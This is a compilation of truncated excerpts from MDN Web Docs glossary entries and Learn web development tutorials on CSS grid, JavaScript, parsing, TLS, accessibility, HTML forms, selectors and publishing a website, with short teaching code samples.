...a94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3,1fr); grid-auto-rows: 100px; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> learn more property reference grid-template-columns grid-template-rows grid-auto-rows grid-auto-columns further reading css grid layout guide: basic concepts of grid layout definition of grid cells in the css grid layout specification ...
Grid Tracks - MDN Web Docs Glossary: Definitions of Web-related terms
a grid track is the space between two grid lines. they are defined in the explicit grid by using the grid-template-columns and grid-template-rows properties or the shorthand grid or grid-template properties. tracks are also created in the implicit grid by positioning a grid item outside of the tracks created in the explicit grid. the image below shows the first row track on a grid. track sizing in the explicit grid when defining grid tracks using grid-template-columns and grid-template-rows you may use any length unit, and also the flex unit, fr which indicates a portion of the available space in the grid container. the example below demonstrates a grid with three column tracks, one of 200 pixels, the second of 1fr, the third of 3fr. once the 200 pixels has been subtracted from th...
... ...
Houdini - MDN Web Docs Glossary: Definitions of Web-related terms
houdini is a set of low level apis that give developers the power to extend css, providing the ability to hook into the styling and layout process of a browser’s rendering engine. houdini gives developers access to the css object model (cssom), enabling developers to write code the browser can parse as css. the benefit of houdini is that developers can create css features without waiting for web standards specifications to define them and without waiting for every browser to fully implement the features. ...
...ser can parse as css. the benefit of houdini is that developers can create css features without waiting for web standards specifications to define them and without waiting for every browser to fully implement the features. while many of the features houdini enables can be created with javascript, interacting directly with the cssom before javascript is enabled provides for faster parse times. browsers create the cssom — including layout, paint, and composite processes — before applying any style updates found in scripts: layout, paint, and composite processes are repeated for updated javascript styles to be implemented. houdini code doesn't wait for that first rendering cycle to be complete. rather, it is included in that first cycle, creating renderable, understandable styles. see al...
JavaScript - MDN Web Docs Glossary: Definitions of Web-related terms
is also often used on the server-side, using a runtime such as node.js. javascript should not be confused with the java programming language. although "java" and "javascript" are trademarks (or registered trademarks) of oracle in the u.s. and other countries, the two programming languages are significantly different in their syntax, semantics, and use cases. javascript is primarily used in the browser, enabling developers to manipulate webpage content through the dom, manipulate data with ajax and indexeddb, draw graphics with canvas, interact with the device running the browser through various apis, and more. javascript is one of the world's most commonly-used languages, owing to the recent growth and performance improvement of apis available in browsers. origins and history conceived as ...
...th ecma international to make javascript an industry standard. since then, the standardized javascript is called ecmascript and specified under ecma-262, whose latest (tenth, es2019) edition is available as of june 2019. recently, javascript's popularity has expanded even further through the successful node.js platform—the most popular cross-platform javascript runtime environment outside the browser. node.js - built using chrome's v8 javascript engine - allows developers to use javascript as a scripting language to automate things on a computer and build fully functional http and web sockets servers. learn more general knowledge javascript on wikipedia learning javascript the javascript guide on mdn the "javascripting" workshop on nodeschool the javascript course on codecademy.
Parse - MDN Web Docs Glossary: Definitions of Web-related terms
parsing means analyzing and converting a program into an internal format that a runtime environment can actually run, for example the javascript engine inside browsers. the browser parses html into a dom tree. html parsing involves tokenization and tree construction. html tokens include start and end tags, as well as attribute names and values. if the document is well-formed, parsing it is straightforward and faster. the parser parses tokenized input into the document, building up the document tree. when the html parser finds non-blocking resources, such as an image, the browser will request those resources and continue parsing. parsing can continue when a css file is encountered, but <script> tags—particularly those without an async or defer attribute—blocks rendering, and pause...
...parser parses tokenized input into the document, building up the document tree. when the html parser finds non-blocking resources, such as an image, the browser will request those resources and continue parsing. parsing can continue when a css file is encountered, but <script> tags—particularly those without an async or defer attribute—blocks rendering, and pauses parsing of html. when the browser encounters css styles, it parses the text into the css object model (or cssom), a data structure it then uses for styling layouts and painting. the browser then creates a render tree from both these structures to be able to paint the content to the screen. javascript is also downloaded, parsed, and then execute. javascript parsing is done during compile time or whenever the parser is invoked, ...
Progressive Enhancement - MDN Web Docs Glossary: Definitions of Web-related terms
special notice should be taken of accessibility. acceptable alternatives should be provided where possible. ...
... special notice should be taken of accessibility. acceptable alternatives should be provided where possible. ...
Reflow - MDN Web Docs Glossary: Definitions of Web-related terms
reflow happens when a browser must process and draw part or all of a webpage again, such as after an update on an interactive site. ...
... reflow happens when a browser must process and draw part or all of a webpage again, such as after an update on an interactive site. ...
Rendering engine - MDN Web Docs Glossary: Definitions of Web-related terms
a rendering engine is software that draws text and images on the screen. ...
...ne is software that draws text and images on the screen. ...
Transport Layer Security (TLS) - MDN Web Docs Glossary: Definitions of Web-related terms
transport layer security (tls), formerly known as secure sockets layer (ssl), is a protocol used by applications to communicate securely across a network, preventing tampering with and eavesdropping on email, web browsing, messaging, and other protocols. both ssl and tls are client / server protocols that ensure communication privacy by using cryptographic protocols to provide security over a network. when a server and client communicate using tls, it ensures that no third party can eavesdrop or tamper with any message. all modern browsers support the tls protocol, requiring the server to provide a valid digital certificate confirming its identity in order to establish a secure connection. it is possible for both the client and server to mutually authenticate each other, if both parti...
...ny message. all modern browsers support the tls protocol, requiring the server to provide a valid digital certificate confirming its identity in order to establish a secure connection. it is possible for both the client and server to mutually authenticate each other, if both parties provide their own individual digital certificates. note: tls 1.0 and 1.1 support will be removed from all major browsers in early 2020; you'll need to make sure your web server supports tls 1.2 or 1.3 going forward. from version 74 onwards, firefox will return a secure connection failed error when connecting to servers using the older tls versions (bug 1606734). ...
Thread - MDN Web Docs Glossary: Definitions of Web-related terms
thread in computer science is the execution of running multiple tasks or programs at the same time. each unit capable of executing code is called a thread. the main thread is the one used by the browser to handle user events, render and paint the display, and to run the majority of the code that comprises a typical web page or app. because these things are all happening in one thread, a slow website or app script slows down the entire browser; worse, if a site or app script enters an infinite loop, the entire browser will hang. this results in a frustrating, sluggish (or worse) user experience. however, modern javascript offers ways to create additional threads, each executing independently while possibly communicating between one another. this is done using technologies such as web ...
...ently while possibly communicating between one another. this is done using technologies such as web workers, which can be used to spin off a sub-program which runs concurrently with the main thread in a thread of its own. this allows slow, complex, or long-running tasks to be executed independently of the main thread, preserving the overall performance of the site or app—as well as that of the browser overall. this also allows individuals to take advantage of modern multi-core processors. a special type of worker, called a service worker, can be created which can be left behind by a site—with the user's permission—to run even when the user isn't currently using that site. this is used to create sites capable of notifying the user when things happen while they're not actively engaged wit...
WebExtensions - MDN Web Docs Glossary: Definitions of Web-related terms
webextensions is a cross-browser system for developing browser extensions in firefox. this system provides apis, which to a large extent are supported across different browsers like mozilla firefox, google chrome, opera browser, and microsoft edge . ...
... webextensions is a cross-browser system for developing browser extensions in firefox. this system provides apis, which to a large extent are supported across different browsers like mozilla firefox, google chrome, opera browser, and microsoft edge . ...
WebRTC - MDN Web Docs Glossary: Definitions of Web-related terms
pi that can be used by video-chat, voice-calling, and p2p-file-sharing web apps. ...
...ring web apps. ...
Web performance - MDN Web Docs Glossary: Definitions of Web-related terms
it is the frames per second and times the main thread is not available for user interactions. ...
...it is the frames per second and times the main thread is not available for user interactions. ...
World Wide Web - MDN Web Docs Glossary: Definitions of Web-related terms
the world wide web—commonly referred to as www, w3, or the web—is an interconnected system of public webpages accessible through the internet. the web is not the same as the internet: the web is one of many applications built on top of the internet. tim berners-lee proposed the architecture of what became known as the world wide web. he created the first web server, web browser, and webpage on his computer at the cern physics research lab in 1990. in 1991, he announced his creation on the alt.hypertext newsgroup, marking the moment the web was first made public. the system we know today as "the web" consists of several components: the http protocol governs data transfer between a server and a client. to access a web component, a client supplies a unique universal identifier, ...
...most common format for publishing web documents. linking, or connecting resources through hyperlinks, is a defining concept of the web, aiding its identity as a collection of connected documents. soon after inventing the web, tim berners-lee founded the w3c (world wide web consortium) to standardize and develop the web further. this consortium consists of core web interest groups, such as web browser developers, government entities, researchers, and universities. its mission includes education and outreach. learn more learn about it learn the web web literacy map (an inventory of skills needed in web development) general knowledge world wide web on wikipedia the w3c website ...
MDN Web Docs Glossary: Definitions of Web-related terms
attribute b bandwidth base64 baseline beacon bézier curve bidi bigint blink block block (css) block (scripting) block cipher mode of operation boolean boot2gecko bootstrap bounding box breadcrumb brotli browser browsing context buffer c cache cacheable caldav call stack callback function canonical order canvas card sorting carddav caret cdn certificate authority certified challenge-response authentication character character e...
...tive navigation directive netscape navigator network throttling nntp node node (dom) node (networking) node.js non-normative normative null nullish value number o object object reference oop opengl openssl opera browser operand operator origin ota owasp p p2p pac packet page load time page prediction parameter parent object parse parser pdf perceived performance percent-encoding php pixel placeholder names pl...
Assessment: Accessibility troubleshooting - Learn web development
c headings. once you add paragraph elements, you'll notice the styling looking better. the images the images are currently inaccessible to screenreader users. can you fix this? the audio player the <audio> player isn't accessible to hearing impaired (deaf) people — can you add some kind of accessible alternative for these users? the <audio> player isn't accessible to those using older browsers that don't support html5 audio. how can you allow them to still access the audio? the forms the <input> element in the search form at the top could do with a label, but we don't want to add a visible text label that would potentially spoil the design and isn't really needed by sighted users. how can you add a label that is only accessible to screenreaders? the two <input> elements in the...
... you'll need to update some of the css rule as well. the show/hide comment control the show/hide comment control button is not current keyboard-accessible. can you make it keyboard accessible, both in terms of focusing it using the tab key, and activating it using the return key? the table the data table is not currently very accessible — it is hard for screenreader users to associate data rows and columns together, and the table also has no kind of summary to make it clear what it shows. can you add some features to your html to fix this problem? other considerations? can you list two more ideas for improvements that would make the website more accessible? assessment or further help if you would like your work assessed, or are stuck and want to ask for help: put your work into a...
Accessibility - Learn web development
learning some html, css, and javascript is useful if you want to become a web developer. beyond mechanical use, it's important to learn how to use these technologies responsibly so that all readers might use your creations on the web. to help you achieve this, this module will cover general best practices (which are demonstrated throughout the html, css, and javascript topics), cross browser testing, and some tips on enforcing accessibility from the start. we'll cover accessibility in special detail. overview when someone describes a site as "accessible," they mean that any user can use all its features and content, regardless of how the user accesses the web — even and especially users with physical or mental impairments. sites should be accessible to keyboard, mouse, and touch screen...
...s and javascript best practices that should be considered to ensure that even complex content is as accessible as possible. wai-aria basics following on from the previous article, sometimes making complex ui controls that involve unsemantic html and dynamic javascript-updated content can be difficult. wai-aria is a technology that can help with such problems by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on. here we'll show how to use it at a basic level to improve accessibility. accessible multimedia another category of content that can create accessibility problems is multimedia — video, audio, and image content need to be given proper textual alternatives, so they can be understood by assistive technologies...
Attribute selectors - Learn web development
first two list items. li[class$="a"] matches any attribute value that ends with a, so matches the first and third list item. li[class*="a"] matches any attribute value where a appears anywhere in the string, so it matches all of our list items. case-sensitivity if you want to match attribute values case-insensitively you can use the value i before the closing bracket. this flag tells the browser to match ascii characters case-insensitively. without the flag the values will be matched according to the case-sensitivity of the document language — in html's case it will be case sensitive. in the example below, the first selector will match a value that begins with a — it only matches the first list item because the other two list items start with an uppercase a. the second selector us...
...atch a value that begins with a — it only matches the first list item because the other two list items start with an uppercase a. the second selector uses the case-insensitive flag and so matches all of the list items. note: there is also a newer value s, which will force case-sensitive matching in contexts where matching is normally case-insensitive, however this is less well supported in browsers and isn't very useful in an html context. next steps now we are done with attribute selectors, you can continue on to the next article and read about pseudo-class and pseudo-element selectors. previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-eleme...
Type, class, and ID selectors - Learn web development
lue. the universal selector the universal selector is indicated by an asterisk (*) and selects everything in the document (or inside the parent element if it is being chained together with another element and a descendant combinator). in the following example we have used the universal selector to remove the margins on all elements. this means that instead of the default styling added by the browser, which spaces out headings and paragraphs with margins, everything is close together and we can't see the different paragraphs easily. this kind of behavior can sometimes be seen in "reset stylesheets", which strips out all of the browser styling. since the universal selector makes global changes, we use it to deal with very specific situations such as the one outlined below. using the univ...
...ly, or only select the element when all of the classes in the selector are present. this can be helpful when building up components that can be combined in different ways on your site. in the example below we have a <div> that contains a note. the grey border is applied when the box has a class of notebox. if it also has a class of warning or danger, we change the border-color. we can tell the browser that we only want to match the element if it has two classes applied by chaining them together with no white space between them. you'll see that the last <div> doesn't get any styling applied, as it only has the danger class; it needs notebox as well to get anything applied. id selectors an id selector begins with a # rather than a full stop character, but is basically used in the same way ...
What do common web layouts contain? - Learn web development
footer visible at the bottom of every page on the site. like the header, contains less prominent global information like legal notices or contact info. these elements are quite common in all form factors, but they can be laid out different ways. here are some examples (1 represents header, 2 footer; a main content; b1, b2 things on the side): 1-column layout. especially important for mobile browsers so you don't clutter the small screen up. 2-column layout. often used to target tablets, since they have medium-size screens. 3-column layouts. only suitable for desktops with big screens. (even many desktop-users prefer viewing things in small windows rather than full-screen.) the real fun begins when you start mixing them all together: … these are just examples and you're...
...best to keep your layout consistent throughout your site. active learning there is no active learning available yet. deeper dive let's study some more concrete examples taken from well-known websites. one-column layout invision application. a typical one-column layout providing all the information linearly on one page. quite straightforward. just remember, many people will still browse your site from desktops, so make your content usable/readable there as well. two-column layout. abduzeedo, a simple blog layout. blogs usually have two columns, a fat one for the main content and a thin one for stuff on the side (like widgets, secondary navigation levels, and ads). in this example, look at the image (b1) right underneath the header. it's related to the main content,...
How much does it cost to do something on the Web? - Learn web development
s)ftp client, there are several reliable and free options: for example, filezilla for all platforms, winscp for windows, cyberduck for mac or windows, and more. because ftp is inherently insecure, you should make sure to use sftp — the secure, encrypted version of ftp that most hosting sites you'll deal with these days will offer by default — or another secure solution like rsync over ssh. ...
...able and free options: for example, filezilla for all platforms, winscp for windows, cyberduck for mac or windows, and more. because ftp is inherently insecure, you should make sure to use sftp — the secure, encrypted version of ftp that most hosting sites you'll deal with these days will offer by default — or another secure solution like rsync over ssh. browsers you either already have a browser or can get one for free. if necessary, download firefox here or google chrome here. web access computer / modem you need a computer. costs can vary tremendously, depending on your budget, and where you live. to publish a barebones website, you only need a basic computer capable of launching an editor, and a web browser, so the entry level can be quite low. of course, you'll need a more seri...
What is a Domain Name? - Learn web development
domain stores the information for some time before it is automatically invalidated and then refreshed (the dns server queries an authoritative server and fetches the updated information from it). thus, it takes some time for dns servers that know about this domain name to get the up-to-date information. how does a dns request work? as we already saw, when you want to display a webpage in your browser it's easier to type a domain name than an ip address. let's take a look at the process: type mozilla.org in your browser's location bar. your browser asks your computer if it already recognizes the ip address identified by this domain name (using a local dns cache). if it does, the name is translated to the ip address and the browser negotiates contents with the web server. end of story. i...
... next steps okay, we talked a lot about processes and architecture. time to move on. if you want to get hands-on, it's a good time to start digging into design and explore the anatomy of a web page. it's also worth noting that some aspects of building a website cost money. ...
Common questions - Learn web development
ites, web servers, and search engines. these terms are often a source of confusion for newcomers to the web, or are used incorrectly. let's discover what they actually mean! what are hyperlinks? in this article, we'll go over what hyperlinks are and why they matter. what is a url? with hypertext and http, url is a key concept when it comes to the internet. it is the mechanism used by browsers to retrieve any published resource on the web. what is a domain name? domain names are a key component of the internet infrastructure. they provide a human-readable address for any web server available on the internet. what is a web server? the term "web server" can refer to the hardware or software that serves websites to clients across the web — or both of them working together...
...to do something on the web? when you're launching a website, you may spend nothing or your costs may go through the roof. in this article we discuss how much everything costs and what you get for what you pay (or don't pay). what text editors are available? in this article we highlight some things to think about when choosing and installing a text editor for web development. what are browser developer tools? every browser features a set of devtools for debugging html, css, and other web code. this article explains how to use the basic functions of your browser's devtools. how do you make sure your website works properly? so you've published your website online — very good! but are you sure it works properly? this article provides some basic troubleshooting steps. how ...
How to structure a web form - Learn web development
ments and attributes. using correct structure when building an html form will help ensure that the form is both usable and accessible. the <form> element the <form> element formally defines a form and attributes that determine the form's behavior. each time you want to create an html form, you must start it by using this element, nesting all the contents inside. many assistive technologies and browser plugins can discover <form> elements and implement special hooks to make them easier to use. we already met this in the previous article. warning: it's strictly forbidden to nest a form inside another form. nesting can cause forms to behave in an unpredictable manner, so it is a bad idea. it's always possible to use a form control outside of a <form> element. if you do so, by default that co...
...a <p>. the first is a drop-down menu (<select>) for selecting credit card type. the second is an <input> element of type tel, for entering a credit card number; while we could have used the number type, we don't want the number's spinner ui. the last one is an <input> element of type date, for entering the expiration date of the card; this one will come up with a date picker widget in supporting browsers, and fall back to a normal text input in non-supporting browsers. these newer input types are reintroduced in the html5 input types. enter the following below the previous section: <section> <h2>payment information</h2> <p> <label for="card"> <span>card type:</span> </label> <select id="card" name="usercard"> <option value="visa">visa</option> ...
Test your skills: Advanced styling - Learn web development
tors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. advanced form styling 1 in our first advanced styling tasks, we want you to handle making a search input as consistent as possible across browsers — a trickier task than with standard text inputs, even on modern browsers. we've already provided you with a basic reset to build upon. first of all, try giving the search box a consistent width, height, padding, and border color across browsers. you'll find that some browsers will not behave in terms of the form element's height. this is due to native os styling being used in some case...
...how can you remove this? there is a major problem with just getting rid of the blue focus outline. ...
Your first form - Learn web development
responding type to produce a button, for example <input type="submit">. the main advantage of the <button> element is that the <input> element only allows plain text in its label whereas the <button> element allows full html content, allowing more complex, creative button content. basic form styling now that you have finished writing your form's html code, try saving it and looking at it in a browser. at the moment, you'll see that it looks rather ugly. note: if you don't think you've got the html code right, try comparing it with our finished example — see first-form.html (also see it live). forms are notoriously tricky to style nicely. it is beyond the scope of this article to teach you form styling in detail, so for the moment we will just get you to add some css to make it look ok...
...on github at first-form-styled.html (also see it live). sending form data to your web server the last part, and perhaps the trickiest, is to handle form data on the server side. the <form> element defines where and how to send the data thanks to the action and method attributes. we provide a name to each form control. the names are important on both the client- and server-side; they tell the browser which name to give each piece of data and, on the server side, they let the server handle each piece of data by name. the form data is sent to the server as name/value pairs. to name the data in a form you need to use the name attribute on each form widget that will collect a specific piece of data. let's look at some of our form code again: <form action="/my-handling-form-page" method="post"...
Dealing with files - Learn web development
ing and spacing you'll notice that throughout this article, we ask you to name folders and files completely in lowercase with no spaces. this is because: many computers, particularly web servers, are case-sensitive. so for example, if you put an image on your website at, test-site/myimage.jpg and then in a different file you try to invoke the image as test-site/myimage.jpg, it may not work. browsers, web servers, and programming languages do not handle spaces consistently. for example, if you use spaces in your filename, some systems may treat the filename as two filenames. some servers will replace the areas in your filenames with "%20" (the character code for spaces in uris), resulting in all your links being broken. it's better to separate words with dashes, rather than underscores: my...
...which is in the same directory as index.html. to walk down the file structure from index.html to our image, the file path we'd need is images/your-image-filename. for example, our image is called firefox-icon.png, so the file path is images/firefox-icon.png. insert the file path into your html code between the double quote marks of the src="" code. save your html file, then load it in your web browser (double-click the file). you should see your new webpage displaying your image! some general rules for file paths: to link to a target file in the same directory as the invoking html file, just use the filename, e.g. my-image.jpg. to reference a file in a subdirectory, write the directory name in front of the path, plus a forward slash, e.g. subdirectory/my-image.jpg. to link to a tar...
HTML basics - Learn web development
perly nested. in the example above, we opened the <p> element first, then the <strong> element; therefore, we have to close the <strong> element first, then the <p> element. the following is incorrect: <p>my cat is <strong>very grumpy.</p></strong> the elements have to open and close correctly so that they are clearly inside or outside one another. if they overlap as shown above, then your web browser will try to make the best guess at what you were trying to say, which can lead to unexpected results. so don't do it! empty elements some elements have no content and are called empty elements. take the <img> element that we already have in our html page: <img src="images/firefox-icon.png" alt="my test image"> this contains two attributes, but there is no closing </img> tag and no inner con...
...ts the character set your document should use to utf-8 which includes most characters from the vast majority of written languages. essentially, it can now handle any textual content you might put on it. there is no reason not to set this and it can help avoid some problems later on. <title></title> — the <title> element. this sets the title of your page, which is the title that appears in the browser tab the page is loaded in. it is also used to describe the page when you bookmark/favourite it. <body></body> — the <body> element. this contains all the content that you want to show to web users when they visit your page, whether that's text, images, videos, games, playable audio tracks or whatever else. images let's turn our attention to the <img> element again: <img src="images/firef...
Publishing your website - Learn web development
bsite. see how do you host your website on google app engine? for more information. these options are usually free, but you may outgrow the limited feature-set. using a web-based ide such as codepen there are a number of web apps that emulate a website development environment, allowing you to enter html, css and javascript, and then display the result of that code as a website — all in one browser tab. generally speaking, these tools are relatively easy, great for learning, good for sharing code (for example, if you want to share a technique with or ask for debugging help from colleagues in a different office), and free (for basic features). they host your rendered page at a unique web address. however, the features are limited, and these apps usually don't provide hosting space for asse...
... enter username.github.io, where username is your username. for example, our friend bob smith would enter bobsmith.github.io. check the "initialize this repository with a readme" box. then click create repository. drag and drop the content of your website folder into your repository. then click commit changes. note: make sure your folder has an index.html file. navigate your browser to username.github.io to see your website online. for example, for the username chrisdavidmills, go to chrisdavidmills.github.io. note: it may take a few minutes for your website to go live. if your website does not display immediately, wait a few minutes. try again. to learn more, see github pages help. further reading what is a web server understanding domain names how much...
Add a hitmap on top of an image - Learn web development
nk to a different resource. formerly, image maps were a popular navigation device, but it’s important to thoroughly consider their performance and accessibility ramifications. text links (perhaps styled with css) are preferable to image maps for several reasons: text links are lightweight, maintainable, often more seo-friendly, and support accessibility needs (e.g., screen readers, text-only browsers, translation services). how to insert an image map, properly step 1: the image not just any image is acceptable. the image must make it clear what happens when people follow image links. alt text is mandatory, of course, but many people never see it. the image must clearly indicate where hotspots begin and end. hotspots must be large enough to tap comfortably, at any viewport size. how...
...tribute is blank and the entire image already has an alt attribute. <map name="example-map-1"> <area shape="circle" coords="200,250,25" href="page-2.html" alt="circle example" /> <area shape="rect" coords="10, 5, 20, 15" href="page-3.html" alt="rectangle example" /> </map> step 3: make sure it works for everybody you aren’t done until you test image maps rigorously on many browsers and devices. try following links with your keyboard alone. try turning images off. if your image map is wider than about 240px, you’ll need to make further adjustments to make your website responsive. it's not enough to resize the image for small screens, because the coordinates stay the same and no longer match the image. if you must use image maps, you may want to look into matt stow's j...
Introduction to HTML - Learn web development
ributes, and other important terms, and show where they fit in the language. we also show how a typical html page is structured and how an html element is structured, and explain other important basic language features. ...
...this article looks at how to use html to break up a block of text into a structure of headings and paragraphs, add emphasis/importance to words, create lists, and more. creating hyperlinks hyperlinks are really important — they are what makes the web a web. this article shows the syntax required to make a link and discusses best practices for links. ...
Mozilla splash page - Learn web development
ve images to the further info links inside the <div> with the class of further-info you will find four <a> elements — each one linking to an interesting mozilla-related page. to complete this section you'll need to insert an <img> element inside each one containing appropriate src, alt, srcset and sizes attributes. in each case (except one — which one is inherently responsive?) we want the browser to serve the 120px wide version when the viewport width is 500px wide or less, or the 400px wide version otherwise. make sure you match the correct images with the correct links! note: to properly test the srcset/sizes examples, you'll need to upload your site to a server (using github pages is an easy and free solution), then from there you can test whether they are working properly using b...
...er to serve the 120px wide version when the viewport width is 500px wide or less, or the 400px wide version otherwise. make sure you match the correct images with the correct links! note: to properly test the srcset/sizes examples, you'll need to upload your site to a server (using github pages is an easy and free solution), then from there you can test whether they are working properly using browser developer tools such as the firefox network monitor. an art directed red panda inside the <div> with the class of red-panda, we want to insert a <picture> element that serves the small portrait panda image if the viewport is 600px wide or less, and the large landscape image otherwise. example the following screenshots show what the splash page should look like after being correctly marked ...
Assessment: Structuring planet data - Learn web development
trouble visualising the data, look at the live example above, or try drawing a diagram. open your copy of blank-template.html, and start the table off by giving it an outer container, a table header, and a table body. you don't need a table footer for this example. add the provided caption to your table. add a row to the table header containing all the column headers. create all the content rows inside the table body, remembering to make all the row headings into headings semantically. ensure all the content is placed into the right cells — in the raw data, each row of planet data is shown next to its associated planet. add attributes to make the row and column headers unambiguously associated with the rows, columns, or rowgroups that they act as headings for. add a black border jus...
...gs for. add a black border just around the column that contains all the planet name row headers. hints and tips the first cell of the header row needs to be blank, and span two columns. the group row headings (e.g. jovian planets) that sit to the left of the planet name row headings (e.g. saturn) are a little tricky to sort out — you need to make sure each one spans the correct number of rows and columns. one way of associating headers with their rows/columns is a lot easier than the other way. assessment or further help if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. write a post asking for assessment and/or help at the mdn discourse forum learning category. your p...
HTML Tables - Learn web development
Learn › HTML › Tables
introduction to html. note: if you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch. ...
...ablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch. guides this module contains the following articles: html table basics this article gets you started with html tables, covering the very basics such as rows and cells, headings, making cells span multiple columns and rows, and how to group together all the cells in a column for styling purposes. html table advanced features and accessibility this module looks at some more advanced features of html tables — such as captions/summaries and grouping your rows into table head, body and footer sections — as well as looking at the accessibility of tables for visually impaired users. assessments structuring pla...
Asynchronous JavaScript - Learn web development
te: if you are working on a computer/tablet/other device where you don't have the ability to create your own files, you can try out (most of) the code examples in an online coding program such as jsbin or glitch. guides general asynchronous programming concepts in this article we'll run through a number of important concepts relating to asynchronous programming, and how this looks in web browsers and javascript. you should understand these concepts before working through the other articles in the module. introducing asynchronous javascript in this article we briefly recap the problems associated with sychronous javascript, and take a first look at some of the different asynchronous javascript techniques you'll encounter, showing how they can help us solve such problems. cooperativ...
...ntil after the previous action has completed, or respond to its failure. this is really useful for setting up a sequence of operations to work correctly. this article shows you how promises work, where you'll see them in use in webapis, and how to write your own. making asynchronous programming easier with async and await promises can be somewhat complex to set up and understand, and so modern browsers have implemented async functions and the await operator. the former allows standard functions to implicitly behave asynchronously with promises, whereas the latter can be used inside async functions to wait for promises before the function continues. this makes chaining promises simpler and easier to read. choosing the right approach to finish this module off, we'll consider the different co...
Arrays - Learn web development
that does the printing and adding separately for each item. this would be much longer to write out, less efficient, and more error-prone. if we had 10 items to add to the invoice it would already be annoying, but what about 100 items, or 1000? we'll return to this example later on in the article. as in previous articles, let's learn about the real basics of arrays by entering some examples into browser developer console. creating arrays arrays consist of square brackets and elements that are separated by commas. suppose we want to store a shopping list in an array. paste the following code into the console: let shopping = ['bread', 'milk', 'cheese', 'hummus', 'noodles']; shopping; in the above example, each element is a string, but in an array we can store various data types — st...
...ter on (in our looping code article), but briefly, this code is saying: start looping at item number 0 in the array. stop looping at the item number equal to the length of the array. this works for an array of any length, but in this case it stops looping at item number 7 (this is good, as the last item — which we want the loop to include — is item 6). for each item, print it out to the browser console with console.log(). some useful array methods in this section we'll look at some rather useful array-related methods that allow us to split strings into array items and vice versa, and add new items into arrays. converting between strings and arrays often you'll be presented with some raw data contained in a big long string, and you might want to separate the useful items out into ...
Silly story generator - Learn web development
rings, and arrays. starting point to get this assessment started, you should: go and grab the html file for the example, save a local copy of it as index.html in a new directory somewhere on your computer, and do the assessment locally to begin with. this also has the css to style the example contained within it. go to the page containing the raw text and keep this open in a separate browser tab somewhere. you'll need it later. alternatively, you could use a site like jsbin or glitch to do your assessment. you could paste the html, css and javascript into one of these online editors. if the online editor you are using doesn't have a separate javascript panel, feel free to put it inline in a <script> element inside the html page. note: if you get stuck, then ask us for help — ...
... any way, except to apply the javascript to your html. if you are unsure whether the javascript is applied to your html properly, try removing everything else from the javascript file temporarily, adding in a simple bit of javascript that you know will create an obvious effect, then saving and refreshing. the following for example turns the background of the <html> element red — so the entire browser window should go red if the javascript is applied properly: document.queryselector('html').style.backgroundcolor = 'red'; math.round() is a built-in javascript method that simply rounds the result of a calculation to the nearest whole number. there are three instances of strings that need to be replaced. you may repeat the replace() method multiple times, or you can use regular expression...
Test your skills: Object-oriented JavaScript - Learn web development
l to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version). oojs 1 in this task we provide you with a constructor. we want you to: add a new method to the shape class's prototype, calcperimeter(), which calculates its perimeter (the length of the shape's outer edge) and logs the result to the console. create a new instance of the shape class called square. give it a name of square an...
...e want you to: add a new method to the shape class's prototype, calcperimeter(), which calculates its perimeter (the length of the shape's outer edge) and logs the result to the console. create a new instance of the shape class called square. give it a name of square and a sidelength of 5. call your calcperimeter() method on the instance, to see whether it logs the calculation result to the browser devtools' console as expected. create a new instance of shape called triangle, with a name of triangle and a sidelength of 3. call triangle.calcperimeter() to check that it works ok. try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. oojs 2 next up we want you to take the shap...
Test your skills: Object basics - Learn web development
l to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version). object basics 1 in this task you are provided with an object literal, and your tasks are to store the value of the name property inside the catname variable, using bracket notation. run the greeting() method using dot notation (it will log the greeting to the browser devtools' console). update the color property value to bl...
...st album. try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. object basics 3 finally for our object basics assessment, we want you to return to the cat object literal from task #1. we want you to rewrite the greeting() method so that it logs "hello, said bertie the cymric." to the browser devtools' console, but in a way that will work across any cat object of the same structure, regardless of its name or breed. when you are done, write your own object called cat2, which has the same structure, exactly the same greeting() method, but a different name, breed, and color. call both greeting() methods to check that they log appropriate greetings to the console. the code is not ver...
JavaScript — Dynamic client-side scripting - Learn web development
's key fundamental features, turning our attention to commonly-encountered types of code block such as conditional statements, loops, functions, and events. you've seen this stuff already in the course, but only in passing — here we'll discuss it all explicitly. introducing javascript objects in javascript, most things are objects, from core javascript features like strings and arrays to the browser apis built on top of javascript. you can even create your own objects to encapsulate related functions and variables into efficient packages. the object-oriented nature of javascript is important to understand if you want to go further with your knowledge of the language and write more efficient code, therefore we've provided this module to help you. here we teach object theory and syntax in de...
... in this module we take a look at asynchronous javascript, why it is important, and how it can be used to effectively handle potential blocking operations such as fetching resources from a server. client-side web apis when writing client-side javascript for web sites or applications, you won't go very far before you start to use apis — interfaces for manipulating different aspects of the browser and operating system the site is running on, or even data from other web sites or services. in this module we will explore what apis are, and how to use some of the most common apis you'll come across often in your development work. solving common javascript problems use javascript to solve common problems provides links to sections of content explaining how to use javascript to solve very ...
Aprender y obtener ayuda - Learn web development
